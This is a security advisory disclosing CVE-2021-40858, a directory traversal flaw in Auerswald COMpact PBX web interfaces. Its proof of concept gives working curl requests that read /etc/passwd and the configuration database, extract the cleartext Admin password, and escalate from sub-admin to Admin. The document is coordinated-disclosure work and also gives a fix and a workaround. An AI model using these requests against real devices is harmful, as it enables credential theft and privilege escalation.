[RT-SA-2021-006] Auerswald COMpact Arbitrary File Disclosure

[RedTeam Pentesting GmbH <release () redteam-pentesting de>]

Advisory: Auerswald COMpact Arbitrary File Disclosure


RedTeam Pentesting discovered a vulnerability in the web-based
management interface of the Auerswald COMpact 5500R PBX which allows
users with the "sub-admin" privilege to access any files on the PBX's
file system.


Details
=======

Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, 
COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact  4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
Fixed Versions: 8.2B
Vulnerability Type: Arbitrary File Disclosure
Security Risk: medium
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-006
Advisory Status: published
CVE: CVE-2021-40858
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40858


Introduction
============

"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.

Continuous maintanance and expansion of the system software makes this
versatile IP server a future-proof investment in any business
communication."

(from the vendor's homepage)


More Details
============

RedTeam Pentesting discovered that attackers with administrative access
to the PBX's web-based management interface (as a so-called "sub-admin")
can download arbitrary files from the PBX's file system. This includes
the usually not accessible configuration database which contains the
password for the highly privileged "Admin" user in clear text.


Proof of Concept
================

The command-line HTTP client curl[1] can be used to log into the
management interface of the PBX with the username "sub-admin" and the
password "verysecretpassword" as follows:

------------------------------------------------------------------------
$ curl --anyauth --user sub-admin:verysecretpassword --include \
  https://192.168.1.2/tree

[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/
[...]

[{"login":2,"userId":2222,[...]}]
------------------------------------------------------------------------

The server returns a session ID in a cookie which is then used to check
the access level:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Sub-Administrator"}
------------------------------------------------------------------------

In the PBX's user management, the access level "Sub-Administrator" is
used for user accounts who should be able to configure the PBX. There
are also other, higher-level access privileges.

Users with the "sub-admin" privilege can configure music on hold (MOH,
"Wartemusik"), and for example listen to the currently configured music.
In order to do this, the browser requests the music files from the PBX.

The file "alarm1.wav" can be accessed with curl as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?fileName=alarm1.wav'\
'&pageindex=1'

HTTP/1.1 200 OK
Content-Type: audio/x-wav; charset=
Content-Length: 132192
Content-disposition: attachment; filename="alarm1.wav"
[...]
------------------------------------------------------------------------

It was found that the PBX allows directory traversal with the string
"../", so the file "/etc/passwd" can be accessed as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?'\
'fileName=../../etc/passwd&pageindex='

HTTP/1.1 200 OK
[...]
Content-Length: 113
Content-disposition: attachment; filename="../../etc/passwd"
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------

The same issue is present in the function for managing logos. A regular
request for the file "logo1.jpg" is shown below:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=logo1.jpg&424&apos;

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: image/jpg; charset=UTF-8
Content-Length: 13986
Content-disposition: attachment; filename="logo1.jpg"
[...]
------------------------------------------------------------------------

In a similar fashion as before, the file "/etc/passwd" can be accessed:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=../../etc/passwd&apos;

HTTP/1.1 200 OK
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------

For attackers, an interesting file is the SQLite[2] database file
"/data/db/pbx4.db". It can be downloaded as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' 'https://'\
'192.168.1.2/logo_verwaltung_preview?fileName=../../data/db/pbx4.db' \
> pbx4.db

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5120  100  5120    0     0  16253      0 --:--:-- --:--:-- --:--:-- 16305
------------------------------------------------------------------------

This file contains the password for the highly privileged "Admin" user
account:

------------------------------------------------------------------------
$ sqlite3 pbx4.db
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.

sqlite> .tables
DbFileVersion  PbxMisc

sqlite> select * from PbxMisc;
[...]
AdminPasswdHash|
AdminLogin|Admin
AdminPin|43214321
AdminPasswd|S3kr1t!
------------------------------------------------------------------------

The username and password can then be used to log into the web
application:

------------------------------------------------------------------------
$ curl --user 'Admin:S3kr1t!' --anyauth --include \
  https://192.168.1.2/tree

HTTP/1.1 200 OK
Set-Cookie: AUERSessionID1234123412=AJXGKBFTCIHSHAC; HttpOnly; Path=/
[...]

[{"login":3,"userId":0,"userName":"",[...]}]
------------------------------------------------------------------------

Checking the access level reveals the new privilege:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=AJXGKBFTCIHSHAC' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Administrator"}
------------------------------------------------------------------------

The user "Admin", in contrast to regular administrative users
("sub-admin"), can access more functions and for example apply firmware
updates.

Workaround
==========

Disable or restrict access to the web-based management if possible.


Fix
===

Upgrade to a firmware version which corrects this vulnerability.


Security Risk
=============

Attackers who already have acquired administrative access as a so-called
"sub-admin" can download a database file and access the password for the
highly privileged "Admin" account. This account can use more functions and
is allowed to apply firmware updates.

On the one hand, exploiting this vulnerability already requires
administrative access. On the other hand, attackers can reach
high-privileged access to the PBX and use functions not available to
"sub-admin" users, like firmware updates. All in all, this vulnerability
is therefore rated to have a medium risk potential.


Timeline
========

2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published


References
==========

[1] https://curl.se
[2] https://www.sqlite.org


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/


-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen

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